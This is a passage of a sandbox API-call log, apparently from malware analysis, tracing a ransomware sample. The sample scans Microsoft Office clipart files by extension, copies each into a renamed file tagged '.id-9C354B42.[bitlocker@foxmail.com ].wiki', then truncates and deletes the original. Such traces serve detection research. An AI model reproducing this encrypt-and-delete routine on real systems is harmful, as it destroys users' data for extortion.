Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 63 [0189.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 63 [0189.656] lstrlenW (lpString=".doc") returned 4 [0189.656] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.656] lstrlenW (lpString=".docx") returned 5 [0189.656] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0189.656] lstrlenW (lpString=".pdf") returned 4 [0189.656] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.657] lstrlenW (lpString=".xls") returned 4 [0189.657] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.657] lstrlenW (lpString=".xlsx") returned 5 [0189.657] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0189.657] lstrlenW (lpString=".ppt") returned 4 [0189.657] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 63 [0189.657] lstrlenW (lpString=".zip") returned 4 [0189.657] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.657] lstrlenW (lpString=".rar") returned 4 [0189.657] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.657] lstrlenW (lpString=".bz2") returned 4 [0189.657] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.657] lstrlenW (lpString=".7z") returned 3 [0189.657] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 63 [0189.657] lstrlenW (lpString=".dbf") returned 4 [0189.657] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 63 [0189.657] lstrlenW (lpString=".1cd") returned 4 [0189.657] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 63 [0189.657] lstrlenW (lpString=".jpg") returned 4 [0189.657] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.657] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0189.657] lstrlenW (lpString="HH00636_.WMF") returned 12 [0189.657] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00636_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0189.658] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=1568) returned 1 [0189.658] CloseHandle (hObject=0x1dc) returned 1 [0189.658] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00636_.wmf")) returned 0x20 [0189.658] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00636_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0189.658] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00636_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0189.658] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0189.658] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0189.658] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00636_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0189.659] GetLastError () returned 0x0 [0189.659] ReadFile (in: hFile=0x1dc, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x620, lpOverlapped=0x0) returned 1 [0189.683] WriteFile (in: hFile=0x1d8, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x630, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x630, lpOverlapped=0x0) returned 1 [0189.684] ReadFile (in: hFile=0x1dc, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0189.684] WriteFile (in: hFile=0x1d8, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0189.684] SetEndOfFile (hFile=0x1d8) returned 1 [0189.684] CloseHandle (hObject=0x1d8) returned 1 [0189.684] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0189.684] SetEndOfFile (hFile=0x1dc) returned 1 [0189.685] CloseHandle (hObject=0x1dc) returned 1 [0189.685] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0189.685] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00636_.wmf")) returned 1 [0189.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 63 [0189.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 63 [0189.688] lstrlenW (lpString=".doc") returned 4 [0189.688] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.688] lstrlenW (lpString=".docx") returned 5 [0189.688] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0189.688] lstrlenW (lpString=".pdf") returned 4 [0189.688] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.688] lstrlenW (lpString=".xls") returned 4 [0189.688] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.688] lstrlenW (lpString=".xlsx") returned 5 [0189.688] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0189.688] lstrlenW (lpString=".ppt") returned 4 [0189.688] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 63 [0189.688] lstrlenW (lpString=".zip") returned 4 [0189.688] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.688] lstrlenW (lpString=".rar") returned 4 [0189.688] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.688] lstrlenW (lpString=".bz2") returned 4 [0189.688] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.688] lstrlenW (lpString=".7z") returned 3 [0189.688] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 63 [0189.688] lstrlenW (lpString=".dbf") returned 4 [0189.688] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 63 [0189.688] lstrlenW (lpString=".1cd") returned 4 [0189.688] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 63 [0189.689] lstrlenW (lpString=".jpg") returned 4 [0189.689] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 63 [0189.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 63 [0189.689] lstrlenW (lpString=".doc") returned 4 [0189.689] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.689] lstrlenW (lpString=".docx") returned 5 [0189.689] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0189.689] lstrlenW (lpString=".pdf") returned 4 [0189.689] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.689] lstrlenW (lpString=".xls") returned 4 [0189.689] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.689] lstrlenW (lpString=".xlsx") returned 5 [0189.689] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0189.689] lstrlenW (lpString=".ppt") returned 4 [0189.689] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 63 [0189.689] lstrlenW (lpString=".zip") returned 4 [0189.689] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.689] lstrlenW (lpString=".rar") returned 4 [0189.689] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.689] lstrlenW (lpString=".bz2") returned 4 [0189.689] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.689] lstrlenW (lpString=".7z") returned 3 [0189.689] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 63 [0189.689] lstrlenW (lpString=".dbf") returned 4 [0189.689] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 63 [0189.690] lstrlenW (lpString=".1cd") returned 4 [0189.690] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 63 [0189.690] lstrlenW (lpString=".jpg") returned 4 [0189.690] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.690] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0189.690] lstrlenW (lpString="HH00687_.WMF") returned 12 [0189.690] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00687_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0189.690] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=4340) returned 1 [0189.690] CloseHandle (hObject=0x1dc) returned 1 [0189.690] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00687_.wmf")) returned 0x20 [0189.690] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00687_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0189.690] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00687_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0189.691] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0189.691] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0189.691] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00687_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0189.692] GetLastError () returned 0x0 [0189.692] ReadFile (in: hFile=0x1dc, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x10f4, lpOverlapped=0x0) returned 1 [0189.716] WriteFile (in: hFile=0x1d8, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x1100, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x1100, lpOverlapped=0x0) returned 1 [0189.717] ReadFile (in: hFile=0x1dc, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0189.717] WriteFile (in: hFile=0x1d8, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0189.717] SetEndOfFile (hFile=0x1d8) returned 1 [0189.717] CloseHandle (hObject=0x1d8) returned 1 [0189.717] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0189.717] SetEndOfFile (hFile=0x1dc) returned 1 [0189.718] CloseHandle (hObject=0x1dc) returned 1 [0189.718] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0189.718] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00687_.wmf")) returned 1 [0189.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 63 [0189.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 63 [0189.719] lstrlenW (lpString=".doc") returned 4 [0189.719] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.719] lstrlenW (lpString=".docx") returned 5 [0189.719] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0189.719] lstrlenW (lpString=".pdf") returned 4 [0189.719] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.719] lstrlenW (lpString=".xls") returned 4 [0189.719] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.719] lstrlenW (lpString=".xlsx") returned 5 [0189.719] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0189.719] lstrlenW (lpString=".ppt") returned 4 [0189.719] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 63 [0189.719] lstrlenW (lpString=".zip") returned 4 [0189.719] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.719] lstrlenW (lpString=".rar") returned 4 [0189.719] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.719] lstrlenW (lpString=".bz2") returned 4 [0189.719] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.719] lstrlenW (lpString=".7z") returned 3 [0189.719] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 63 [0189.719] lstrlenW (lpString=".dbf") returned 4 [0189.720] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 63 [0189.720] lstrlenW (lpString=".1cd") returned 4 [0189.720] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 63 [0189.720] lstrlenW (lpString=".jpg") returned 4 [0189.720] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 63 [0189.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 63 [0189.720] lstrlenW (lpString=".doc") returned 4 [0189.720] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.720] lstrlenW (lpString=".docx") returned 5 [0189.720] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0189.720] lstrlenW (lpString=".pdf") returned 4 [0189.720] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.720] lstrlenW (lpString=".xls") returned 4 [0189.720] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.720] lstrlenW (lpString=".xlsx") returned 5 [0189.720] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0189.720] lstrlenW (lpString=".ppt") returned 4 [0189.720] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 63 [0189.720] lstrlenW (lpString=".zip") returned 4 [0189.720] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.720] lstrlenW (lpString=".rar") returned 4 [0189.720] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.720] lstrlenW (lpString=".bz2") returned 4 [0189.720] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.720] lstrlenW (lpString=".7z") returned 3 [0189.720] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 63 [0189.818] lstrlenW (lpString=".dbf") returned 4 [0189.818] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 63 [0189.818] lstrlenW (lpString=".1cd") returned 4 [0189.818] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 63 [0189.818] lstrlenW (lpString=".jpg") returned 4 [0189.834] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.853] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0189.853] lstrlenW (lpString="HH01291_.WMF") returned 12 [0189.853] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01291_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0189.853] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=15806) returned 1 [0189.853] CloseHandle (hObject=0x1e4) returned 1 [0189.853] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01291_.wmf")) returned 0x20 [0189.853] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01291_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0189.853] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01291_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0189.853] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0189.853] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0189.853] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01291_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0189.854] GetLastError () returned 0x0 [0189.854] ReadFile (in: hFile=0x1e4, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x3dbe, lpOverlapped=0x0) returned 1 [0189.856] WriteFile (in: hFile=0x200, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x3dc0, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x3dc0, lpOverlapped=0x0) returned 1 [0189.857] ReadFile (in: hFile=0x1e4, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0189.857] WriteFile (in: hFile=0x200, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0189.857] SetEndOfFile (hFile=0x200) returned 1 [0189.857] CloseHandle (hObject=0x200) returned 1 [0189.857] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0189.857] SetEndOfFile (hFile=0x1e4) returned 1 [0189.858] CloseHandle (hObject=0x1e4) returned 1 [0189.858] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0189.858] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01291_.wmf")) returned 1 [0189.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 63 [0189.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 63 [0189.859] lstrlenW (lpString=".doc") returned 4 [0189.859] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.859] lstrlenW (lpString=".docx") returned 5 [0189.859] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0189.859] lstrlenW (lpString=".pdf") returned 4 [0189.859] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.859] lstrlenW (lpString=".xls") returned 4 [0189.859] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.859] lstrlenW (lpString=".xlsx") returned 5 [0189.859] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0189.859] lstrlenW (lpString=".ppt") returned 4 [0189.859] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 63 [0189.859] lstrlenW (lpString=".zip") returned 4 [0189.859] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.859] lstrlenW (lpString=".rar") returned 4 [0189.859] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.859] lstrlenW (lpString=".bz2") returned 4 [0189.859] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.859] lstrlenW (lpString=".7z") returned 3 [0189.859] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 63 [0189.859] lstrlenW (lpString=".dbf") returned 4 [0189.859] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 63 [0189.859] lstrlenW (lpString=".1cd") returned 4 [0189.859] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 63 [0189.860] lstrlenW (lpString=".jpg") returned 4 [0189.860] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 63 [0189.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 63 [0189.860] lstrlenW (lpString=".doc") returned 4 [0189.860] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.860] lstrlenW (lpString=".docx") returned 5 [0189.860] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0189.860] lstrlenW (lpString=".pdf") returned 4 [0189.860] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") 